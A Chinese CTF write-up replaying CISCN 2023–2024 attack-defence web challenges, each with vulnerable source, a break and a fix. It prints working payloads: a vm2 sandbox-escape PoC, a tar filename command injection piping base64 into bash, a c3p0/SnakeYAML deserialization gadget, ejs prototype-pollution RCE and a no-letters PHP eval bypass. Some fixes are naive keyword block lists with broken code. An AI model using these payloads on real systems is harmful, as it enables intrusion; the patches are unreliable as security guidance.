awdp复现
2024-06-07 15:33:48

一些之前学习的文章
ciscn2023华东北awdp - S1ain (gensokyo.cn)
ciscn国赛华东北分区赛WriteUp分享 | CTF导航 (ctfiot.com)
2023CISCN华北分区赛-web | Jerem1ah’s Blog (lejeremiah.github.io)
2023 CISCN 华东北分区赛 Web Writeup - X1r0z Blog (exp10it.cn)
一次awdplus经历(网鼎杯线下赛) - kar3a - 博客园 (cnblogs.com)

2023 CISCN 华东北分区赛

tainted_node nodejs vm逃逸

const express = require('express');  
const bodyParser = require('body-parser');  
const session = require('express-session');  
const randomize = require('randomatic');  
const path = require('path');  
const { VM } = require('vm2');  
  
const app = express();  
const vm = new VM();  
  
function merge(target, source) {  
    for (let key in source) {  
        if (key === 'escapeFunction' || key === 'outputFunctionName') {  
            throw new Error("No RCE")  
        }  
        if (key in source && key in target) {  
            merge(target[key], source[key])  
        } else {  
            target[key] = source[key]  
        }  
    }  
}  
  
app  
    .use(bodyParser.urlencoded({extended: true}))  
    .use(bodyParser.json());  
app.use(express.static(path.join(__dirname, './static')));  
app.set('views', path.join(__dirname, "./views"));  
app.set('view engine', 'ejs');  
app.use(session({  
    name: 'tainted_node_session',  
    secret: randomize('aA0', 16),  
    resave: false,  
    saveUninitialized: false  
}))  
  
app.all("/login", (req, res) => {  
    if (req.method == 'POST') {  
        let userInfo = {}  
        try {  
            merge(userInfo, req.body)  
        } catch (e) {  
            return res.render("login", {message: "Login Error"})  
        }  
  
        if (userInfo.username == "admin" && userInfo.password === "realpassword") {  
            userInfo.logined = true  
        }  
  
        req.session.userInfo = userInfo  
        if (userInfo.username == "admin" && userInfo.logined == true)  
        {  
            return res.redirect('/sandbox')  
        }  
        else {  
            return res.render("login", {message: "You are not admin"})  
        }  
    }else {  
        if (req.session.userInfo){  
            if (req.session.userInfo.logined == true && req.session.userInfo.username == "admin"){  
                return res.redirect('/sandbox')  
            }else{  
                return res.render("login", {message: "You are not admin"})  
            }  
        }else {  
            return res.render('login', {message: ""});  
        }  
    }  
});  
  
app.all('/sandbox', (req, res) => {  
    if (req.session.userInfo.logined != true || req.session.userInfo.username != "admin") {  
        return res.redirect("/login")  
    }  
      
    const code = req.query.code || '';  
    result = vm.run((code));  
    res.render('sandbox', { result });  
})  
  
app.all('/', (req, res) => {  
    return res.redirect('/login')  
})  
  
app.listen(8888, () => console.log(`listening on port 8888!`))

tainted_node附件版本.png

break

这题要结合附件看,实际上一眼就能看见几个点,例如存在merge原型链污染函数,然后就是vm.run,可能存在逃逸,根据merge函数的判断可以看出,对outputFunctionName和escapeFunction字符串进行了过滤,导致无法使用ejs原型链污染RCE,实际上题目的版本是3.1.8,即使没ban也仍然是无法利用的,所以这是一个小陷阱,重点还是vm.run,在vm2的3.9.15版本中存在着逃逸漏洞,这里直接放上漏洞链接与POC

https://gist.github.com/leesh3288/f05730165799bf56d70391f3d9ea187c

const {VM} = require("vm2");
const vm = new VM();

const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
    new Error().stack;
    stack();
}
try {
    stack();
} catch (a$tmpname) {
    a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`
console.log(vm.run(code));

那么这题的break点就在sandbox路由中,在sandbox路由开始对session中的userInfo进行了一个校验,判断logined值是否为true,username是否为admin
Pasted image 20230906225942.png
所以我们要去先解决userInfo,那么又回到了login路由中
Pasted image 20230906225904.png
当用户输入的username为admin,并且password为realpassword时,设置logined为true,那么就可以去访问sandbox路由去逃逸执行命令了
Pasted image 20230906230527.png

fix

修复就需要去关注漏洞点,我们根据源码可以大概知晓题意,登录之后去输入代码,通过vm沙箱去执行,那么我们可以去过滤逃逸POC中的一些关键词
例如

exec fork spawn   //nodejs中执行命令的函数
cat tac flag  //从命令执行上进行控制

就可以在sandbox路由中添加waf

const a = ["exec","fork","spawn","cat","tac","flag","constructor","proto"];  
for (let i = 0; i < a.length; i++) {  
    if(code.includes(a[i])){  
        throw new Error("waf");  
    }  
}

也可以针对回显进行修复,只要判断回显中存在flag{字段,那就抛出异常

result = vm.run((code));  
if(result.includes("flag{")){  
    throw new Error("waf!");  
}

以下是完全修复的sandbox路由

app.all('/sandbox', (req, res) => {  
    if (req.session.userInfo.logined != true || req.session.userInfo.username != "admin") {  
        return res.redirect("/login")  
    }  
      
    const code = req.query.code || '';  
  
    const a = ["exec","fork","spawn","cat","tac","flag"];  //此处仍可添加
    for (let i = 0; i < a.length; i++) {  
        if(code.includes(a[i])){  
            throw new Error("waf");  
        }  
    }  
  
    result = vm.run((code));  
    if(result.includes("flag{")){  
        throw new Error("waf!");  
    }  
  
    res.render('sandbox', { result });  
})

search_engine SSTI

from flask import *
import os
from waf import waf
import re

app = Flask(__name__)

pattern = r'([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}):([0-9]{2,5})'
content = '''<!doctype html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta ip="%s">
<meta port="%s">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> 
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Ciscn Search Engine</title>
</head>
<body>
<div class="htmleaf-container">
	<div class="wrapper">
		<div class="container">
			<h1>Ciscn Search Engine</h1>
			<form class="form" method="post" action="/" id="Form">
				<input name="word" type="text" placeholder="word">
				<button type="submit" id="login-button">Search</button>
			</form>
		</div>
		<ul class="bg-bubbles">
			<li>%s</li>
		</ul>
	</div>
</body>
</html>'''

@app.route("/", methods=["GET", "POST"])
def index():
	ip, port = re.findall(pattern,request.host).pop()
	if request.method == 'POST' and request.form.get("word"):
		word = request.form.get("word")
		if not waf(word):
			word = "Hacker!"
	else:
		word = ""
	return render_template_string(content % (str(ip), str(port), str(word)))


if __name__ == '__main__':
	app.run(host="0.0.0.0", port=int(os.getenv("PORT")))

break

当request方法为POST并且存在word参数时,经过waf过滤后会对其进行模板渲染,其中就存在SSTI漏洞,因为没有waf的源码,所以我这里就推荐大家自己手动fuzz一下过滤了哪些符号,并使用Fenjing项目去生成POC

Fix

因为考点是SSTI,所以显然只需要解决掉”{“ 即可,为了保险期间,还是同样对于输入和输出进行过滤

@app.route("/", methods=["GET", "POST"])
def index():
	ip, port = re.findall(pattern,request.host).pop()
	if request.method == 'POST' and request.form.get("word"):
		word = request.form.get("word")
		if not waf(word):
			word = "Hacker!"
	else:
		word = ""

	#针对ssti的{{ {%进行过滤
	if "{{" int word or "{%" in word:
	word = "Hacker!"

	#针对结果进行过滤
	result = render_template_string(content % (str(ip), str(port), str(word)))
	if "flag{" in result:
		word = "Hacker!"

	return render_template_string(content % (str(ip), str(port), str(word)))

2023CISCN华北分区赛-web

pysym  python命令执行逃逸

附件源码

from flask import Flask, render_template, request, send_from_directory  
import os  
import random  
import string  
app = Flask(__name__)  
app.config['UPLOAD_FOLDER']='uploads'  
@app.route('/', methods=['GET'])  
def index():  
    return render_template('index.html')  
@app.route('/',methods=['POST'])  
def POST():  
	#判断是否存在上传文件
    if 'file' not in request.files:  
        return 'No file uploaded.'  
    file = request.files['file']

	#文件内容长度不能超过10240
    if file.content_length > 10240:  
        return 'file too lager'  
    path = ''.join(random.choices(string.hexdigits, k=16))  
    directory = os.path.join(app.config['UPLOAD_FOLDER'], path)  
    os.makedirs(directory, mode=0o755, exist_ok=True)  
    savepath=os.path.join(directory,file.name)  
    file.save(savepath)  
  
    try:  
    #使用tar对文件进行解压,由于没对文件名进行校验,存在命令注入漏洞
     os.system('tar --absolute-names  -xvf {} -C {}'.format(savepath,directory))  
    except:  
        return 'something wrong in extracting'  
  
    links = []  
    for root, dirs, files in os.walk(directory):  
        for name in files:  
            extractedfile =os.path.join(root, name)  
            #判断文件是否为软链接,是则删除
            if os.path.islink(extractedfile):  
                os.remove(extractedfile)  
                return 'no symlink'  
            #判断文件是否是文件夹,是则删除
            if  os.path.isdir(path) :  
                return 'no directory'  
            links.append(extractedfile)  
    return render_template('index.html',links=links)  

#文件下载路由
@app.route("/uploads/<path:path>",methods=['GET'])  
def download(path):  
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], path)  
    if not os.path.isfile(filepath):  
        return '404', 404  
    return send_from_directory(app.config['UPLOAD_FOLDER'], path)  
if __name__ == '__main__':  
    app.run(host='0.0.0.0',port=1337)

很显然,我们可以去修改上传tar的文件名,从而造成命令注入

1.tar||echo {需要执行的命令的base64加密}|base64 -d|bash||

可以选择反弹shell,也可以将执行命令的结果写入到./uploads目录中,直接进行查看
修复,过滤文件名中的关键词即可

@app.route('/',methods=['POST'])  
def POST():  
	#判断是否存在上传文件
    if 'file' not in request.files:  
        return 'No file uploaded.'  
    file = request.files['file']

	#对文件名进行过滤
	if ";" in file.name or "|" in file.name or "&" in file.name:
		return "no"

    if file.content_length > 10240:  
        return 'file too lager'  
    path = ''.join(random.choices(string.hexdigits, k=16))  
    directory = os.path.join(app.config['UPLOAD_FOLDER'], path)  
    os.makedirs(directory, mode=0o755, exist_ok=True)  
    savepath=os.path.join(directory,file.name)  
    file.save(savepath)  

    try:  
     os.system('tar --absolute-names  -xvf {} -C {}'.format(savepath,directory))  
    except:  
        return 'something wrong in extracting'  
  
    links = []  
    for root, dirs, files in os.walk(directory):  
        for name in files:  
            extractedfile =os.path.join(root, name)  
            #判断文件是否为软链接,是则删除
            if os.path.islink(extractedfile):  
                os.remove(extractedfile)  
                return 'no symlink'  
            #判断文件是否是文件夹,是则删除
            if  os.path.isdir(path) :  
                return 'no directory'  
            links.append(extractedfile)  
    return render_template('index.html',links=links)

normal_snake  snakeyaml反序列化

break

Pasted image 20231106003056.png
yaml反序列化,ban了!!,用自定义tag绕过
Pasted image 20231106003130.png
过滤了JAVA JDNI JDBC badattr hot等关键字
查看依赖
Pasted image 20231106003230.png
可以通过yaml反序列化去触发c3p0反序列化,构造一条能利用的链子

event那条toString  ---> jackson触发getter  ---> templates触发恶意类加载

编写POC,很久之前写的了。。内网要打内存马,这是我弹计算器用的

%TAG !      tag:yaml.org,2002:
---
!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
  userOverridesAsString: "HexAsciiSerializedMap:ACED0005737200236A617661782E7377696E672E6576656E742E4576656E744C697374656E65724C697374B136C67D84EAD64403000078707400176A6176612E6C616E672E496E7465726E616C4572726F727372001C6A617661782E7377696E672E756E646F2E556E646F4D616E61676572E32B21794C71CA4202000249000E696E6465784F664E6578744164644900056C696D69747872001D6A617661782E7377696E672E756E646F2E436F6D706F756E6445646974A59E50BA53DB95FD0200025A000A696E50726F67726573734C000565646974737400124C6A6176612F7574696C2F566563746F723B787200256A617661782E7377696E672E756E646F2E4162737472616374556E646F61626C6545646974080D1B8EED020B100200025A0005616C6976655A000B6861734265656E446F6E657870010101737200106A6176612E7574696C2E566563746F72D9977D5B803BAF010300034900116361706163697479496E6372656D656E7449000C656C656D656E74436F756E745B000B656C656D656E74446174617400135B4C6A6176612F6C616E672F4F626A6563743B78700000000000000001757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C0200007870000000647372002C636F6D2E666173746572786D6C2E6A61636B736F6E2E6461746162696E642E6E6F64652E504F4A4F4E6F646500000000000000020200014C00065F76616C75657400124C6A6176612F6C616E672F4F626A6563743B7872002D636F6D2E666173746572786D6C2E6A61636B736F6E2E6461746162696E642E6E6F64652E56616C75654E6F6465000000000000000102000078720030636F6D2E666173746572786D6C2E6A61636B736F6E2E6461746162696E642E6E6F64652E426173654A736F6E4E6F6465000000000000000102000078707372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000000156CAFEBABE00000034001801000161070001010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740700030100063C696E69743E010003282956010004436F64650C000500060A000400080100116A6176612F6C616E672F52756E74696D6507000A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C000C000D0A000B000E01000463616C6308001001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C001200130A000B001401000A536F7572636546696C65010006612E6A617661002100020004000000000001000100050006000100070000001A000200010000000E2AB70009B8000F1211B6001557B10000000000010016000000020017707400064165636F757370770100787070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707800000000000000647078;"
import cc.tools;  
import com.fasterxml.jackson.databind.node.POJONode;  
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;  
  
import javax.swing.event.EventListenerList;  
import java.util.Base64;  
  
public class hex_base {  
    public static void main(String[] args) throws Exception{  
  
        tools.overrideJackson();  
  
        Object templates = tools.getTemplates(tools.getshortclass("calc"));  
        POJONode jsonNodes = new POJONode(templates);  
  
        EventListenerList eventListenerList = tools.getEventListenerList(jsonNodes);  
        String serialize = tools.serialize(eventListenerList);  
  
        byte[] bytein = Base64.getDecoder().decode(serialize);  
  
  
        //所需的hex  
//        System.out.println(bytein);  
        String Hex = "HexAsciiSerializedMap:"+bytesToHexString(bytein,bytein.length)+"p";  
        System.out.println(Hex);  
  

  
    }  
  
    public static String bytesToHexString(byte[] bArray, int length) {  
        StringBuffer sb = new StringBuffer(length);  
        for(int i = 0; i < length; ++i) {  
            String sTemp = Integer.toHexString(255 & bArray[i]);  
            if (sTemp.length() < 2) {  
                sb.append(0);  
            }  
            sb.append(sTemp.toUpperCase());  
        }  
        return sb.toString();  
    }  
}

fix

在他原来的waf上加个C3P0字符串检测就可以了,不放心还可以吧TemplatesImpl和signObject都ban了,懒得改了

//  
// Source code recreated from a .class file by IntelliJ IDEA  
// (powered by FernFlower decompiler)  
//  
  
package com.ctf.security;  
  
public class SafeConstructorWithException {  
    private static final String JAVA_STRING = "JAVA";  
    private static final String JNDI_STRING = "JNDI";  
    private static final String JDBC_STRING = "JDBC";  
    private static final String CUSTOM_STRING1 = "42616441747472696275746556616C7565457870457863657074696F6E";  
    private static final String CUSTOM_STRING2 = "486F74537761707061626C65546172676574536F75726365";  
    private final String data;  
  
    public SafeConstructorWithException(String data) throws SafeStringException, CustomException {  
        this.data = data;  
        this.checkForExceptions();  
    }  
  
    private void checkForExceptions() throws SafeStringException, CustomException {  
        String upperCaseData = this.data.toUpperCase();  
        if (!upperCaseData.contains("JAVA") && !upperCaseData.contains("JNDI") && !upperCaseData.contains("JDBC") && !upperCaseData.contains("C3P0")) {  
            if (upperCaseData.contains("42616441747472696275746556616C7565457870457863657074696F6E") || upperCaseData.contains("486F74537761707061626C65546172676574536F75726365")) {  
                throw new CustomException("No way to pass!");  
            }  
        } else {  
            throw new SafeStringException("Unsafe data detected!");  
        }  
    }  
}

将jar添加为库
Pasted image 20240607150850.png
直接IDEA插件JarEditor修改保存即可
Pasted image 20240607150918.png

2024 CISCN 东北分区赛

一道原型链污染

app

const express = require('express');  
const app = express();  
const port = 3000;  
const path = require('path');  
const flag = process.env.DASFLAG;  
app.set('view engine', 'ejs');  
  
app.use(express.static(path.join(__dirname, 'public')));  
  
  
app.use(express.urlencoded({ extended: true }));  
app.use(express.json());  
  
app.get('/', (req, res) => {  
  
    res.render('index');  
});  
  
app.get('/hint', (req, res) => {  
  
    res.render('hint');  
});  
  
app.get('/flag', (req, res) => {  
  
    res.render('flag',{flag:'Try Harder!'});  
});  
  
app.post('/user', (req, res) => {  
  
    const { username, password } = req.body;  
            
let user = {  
        username : JSON.parse(username),  
        password : JSON.parse(password),  
        auth : 'GenshineImpact'  
    }  
  
    let myUser =  Object.create(user)  
    const token = myUser.__proto__.username.__proto__.auth  
  
    try{  
        if(token!==null && token === 'CyberHunter'){  
            res.render('flag',{flag:flag})  
        }else{  
            res.send('login fail')  
        }  
    }catch (error){  
        console.error('Error parsing JSON:', error.message);  
        res.send("Invalid Arguments!")  
    }  
});  
  
  
app.listen(port, () => {  
    console.log(`Server is running at http://localhost:${port}`);  
});

break

有点简单的过分。。
接受username参数,json解析一下,所以username要传json字符串,可以原型链污染

payload
{"__proto__":{"auth":"CyberHunter"}}

{"username":"{\"__proto__\":{\"auth\":\"CyberHunter\"}}",
"password":"123"}

简单到爆。。
Pasted image 20240606164913.png
其实还有坑啊,ejs 3.1.9 有原型链污染渲染RCE的,打打看呢
Pasted image 20240606165142.png

{"__proto__":{"__proto__":{"settings":{"view options":{"escapeFunction":'console.log;this.global.process.mainModule.require("child_proces").execSync("calc");',"client":"true"}}}}}


{"username":"{\"__proto__\":{\"__proto__\":{\"settings\":{\"view options\":{\"escapeFunction\":\"console.log;this.global.process.mainModule.require(\\\"child_proces\\\").execSync(\\\"calc\\\");\",\"client\":\"true\"}}}}}",
"password":"123"}

哦没有覆盖对象。。太久没做题了脑子坏掉了,sorry

fix

对输入进行过滤

app.post('/user', (req, res) => {  
  
    const { username, password } = req.body;  
    const a = ["CyberHunter","proto","__",".","constructor","+","concat","prototype"];  
    for (let i = 0; i < a.length; i++) {  
        if(username.includes(a[i])){  
            throw new Error("waf");  
        }  
        if(password.includes(a[i])){  
            throw new Error("waf");  
        }  
    }  
  
    let user = {  
        username : JSON.parse(username),  
        password : JSON.parse(password),  
        auth : 'GenshineImpact'  
    }  
  
    let myUser =  Object.create(user)  
    const token = myUser.__proto__.username.__proto__.auth  
  
    try{  
        if(token!==null && token === 'CyberHunter'){  
            res.render('flag',{flag:flag})  
        }else{  
            res.send('login fail')  
        }  
    }catch (error){  
        console.error('Error parsing JSON:', error.message);  
        res.send("Invalid Arguments!")  
    }  
});

git

break

按正常流程应该是 githack拿源码

python githack.py url
      <?php  
error_reporting(0);  
      if (isset($_POST['c'])) {  
          if ($_POST['c'] === 'whoami') {  
              system("whoami");  
          } else {  
              if(preg_match('/[0-9]|[a-z]/i',$_POST['c'])){  
         echo "what do you want??? just no letters";  
      }  
      else{  
         eval($_POST['c']);  
      }        
    }      
}      
?>

超级勾吧简单的rce。。取反/自增一把梭

c=$__=(_/_._){_};$__++;$_=$__.$__++;$__++;$__++;$_=_.$_.++$__.++$__;($$_{_})($$_{__});&_=system&__=whoami

记得URL加密
c=%24%5f%5f%3d%28%5f%2f%5f%2e%5f%29%7b%5f%7d%3b%24%5f%5f%2b%2b%3b%24%5f%3d%24%5f%5f%2e%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%3d%5f%2e%24%5f%2e%2b%2b%24%5f%5f%2e%2b%2b%24%5f%5f%3b%28%24%24%5f%7b%5f%7d%29%28%24%24%5f%7b%5f%5f%7d%29%3b&_=system&__=whoami

fix

过滤拉满即可

<?php  
error_reporting(0);  
      if (isset($_POST['c'])) {  
          if ($_POST['c'] === 'whoami') {  
              system("whoami");  
          } else {  
              if(preg_match('/[0-9a-zA-Z!,@#^&%*:{}\-<\?>\"|`~\\\\$_+.;]/i',$_POST['c'])){  
         echo "what do you want??? just no letters";  
      }  
      else{  
         eval($_POST['c']);  
      }        
    }      
}      
?>

upload

break

看源码,我艹了我都不知道这个是不是原来的源码

<?php if ($_SERVER["REQUEST_METHOD"] == "POST") {  
    $allowedTypes = array("image/jpeg", "image/png", "image/gif");  
    $maxSize = 5 * 1024 * 1024; // 5 MB  
  
    if (isset($_FILES["file"])) {  
        $file = $_FILES["file"];  
  
        // 检查文件类型  
        if (in_array($file["type"], $allowedTypes)) {  
            // 检查文件大小  
            if ($file["size"] <= $maxSize) {  
                $uploadDir = __DIR__."/uploads/"; // 存放上传文件的目录   
$uploadFile = $uploadDir . basename($file["name"]);  
            $ext  =  end(explode('.',$uploadFile));  //获取后缀名  

if(preg_match("/php|php5|php4|php3|phtml|pht|ini/",$ext)){   //设置文件上传黑名单  
               die( "<script>alert('文件后缀不允许上传哦!')</script>");  
            }  
                if (move_uploaded_file($file["tmp_name"], $uploadFile)) {  
                    echo "<script>alert('文件上传成功!')</script>";  
                } else {  
                    echo "<script>alert('文件上传失败!')</script>";  
                }  
            } else {  
                echo "<script>alert('文件太大,不允许上传。')</script>";  
            }  
        } else {  
            echo "<script>alert('所选文件不允许上传。')</script>";  
        }  
    } else {  
        echo "<script>alert('请选择一个文件。')</script>";  
    }  
}  
?>

一眼type头+.htaccess,没活,不做了

fix

黑名单加上.htaccess得了

<?php if ($_SERVER["REQUEST_METHOD"] == "POST") {  
    $allowedTypes = array("image/jpeg", "image/png", "image/gif");  
    $maxSize = 5 * 1024 * 1024; // 5 MB  
  
    if (isset($_FILES["file"])) {  
        $file = $_FILES["file"];  
  
        // 检查文件类型  
        if (in_array($file["type"], $allowedTypes)) {  
            // 检查文件大小  
            if ($file["size"] <= $maxSize) {  
                $uploadDir = __DIR__."/uploads/"; // 存放上传文件的目录   
$uploadFile = $uploadDir . basename($file["name"]);  
            $ext  =  end(explode('.',$uploadFile));  //获取后缀名  

if(preg_match("/php|php5|php4|php3|phtml|pht|ini|htaccess/",$ext)){   //设置文件上传黑名单  
               die( "<script>alert('文件后缀不允许上传哦!')</script>");  
            }  
                if (move_uploaded_file($file["tmp_name"], $uploadFile)) {  
                    echo "<script>alert('文件上传成功!')</script>";  
                } else {  
                    echo "<script>alert('文件上传失败!')</script>";  
                }  
            } else {  
                echo "<script>alert('文件太大,不允许上传。')</script>";  
            }  
        } else {  
            echo "<script>alert('所选文件不允许上传。')</script>";  
        }  
    } else {  
        echo "<script>alert('请选择一个文件。')</script>";  
    }  
}  
?>

逻辑

代码很多,我也没SQL文件,启动不了,所以就直接看代码,大概的分析下。。怎么感觉就直接登录admin不就结束了吗。。

<?php  
// login.php  
require_once("config.php");  
  
if ($_SERVER["REQUEST_METHOD"] == "POST") {  
    // 获取前端传递过来的用户名和密码  
    $username = $_POST["username"];  
    $password = $_POST["password"];  
  
    // 查询数据库验证用户  
    $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";  
    $result = $conn->query($sql);  
  
    if ($result->num_rows > 0) {  
        // 验证成功  
        echo "登录成功!欢迎 $username";  
        echo "你想要的在admin";  
        if ($username == 'admin'){  
           include("/flag.txt");  
        }  
    } else {  
        // 验证失败  
        echo "登录失败,请检查用户名和密码";  
    }  
} else {  
    // 如果不是 POST 请求,可能需要进行其他处理  
    echo "Invalid request method";  
}  
  
// 关闭数据库连接  
$conn->close();  
?>

修复的话直接不读flag文件就行了。。。当然也可能可以进行SQL写webshell的操作?这里加点SQLwaf

<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {  
    // 获取前端传递过来的用户名和密码  
    $username = $_POST["username"];  
    $password = $_POST["password"];  

if(preg_match('/\'|\"|^|\||&|,|#|-| |*|\\|union|select|hex|load|flag|and|if|elf|case|sleep|benchmark|lock|/i',$username)){  
         die("GUN");  
      }  
if(preg_match('/\'|\"|^|\||&|,|#|-| |*|\\|union|select|hex|load|flag|and|if|elf|case|sleep|benchmark|lock|/i',$password)){  
         die("GUN");  
      }  

    $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";  
    $result = $conn->query($sql);  
  
    if ($result->num_rows > 0) {  
        // 验证成功  
        echo "登录成功!欢迎 $username";  
        echo "你想要的在admin";  
        if ($username == 'admin'){  
           include("/etc/passwd");  
        }  
    } else {  
        // 验证失败  
        echo "登录失败,请检查用户名和密码";  
    }  
} else {  
    echo "Invalid request method";  
}  
// 关闭数据库连接  
$conn->close();  
?>
Prev
2024-06-07 15:33:48
Next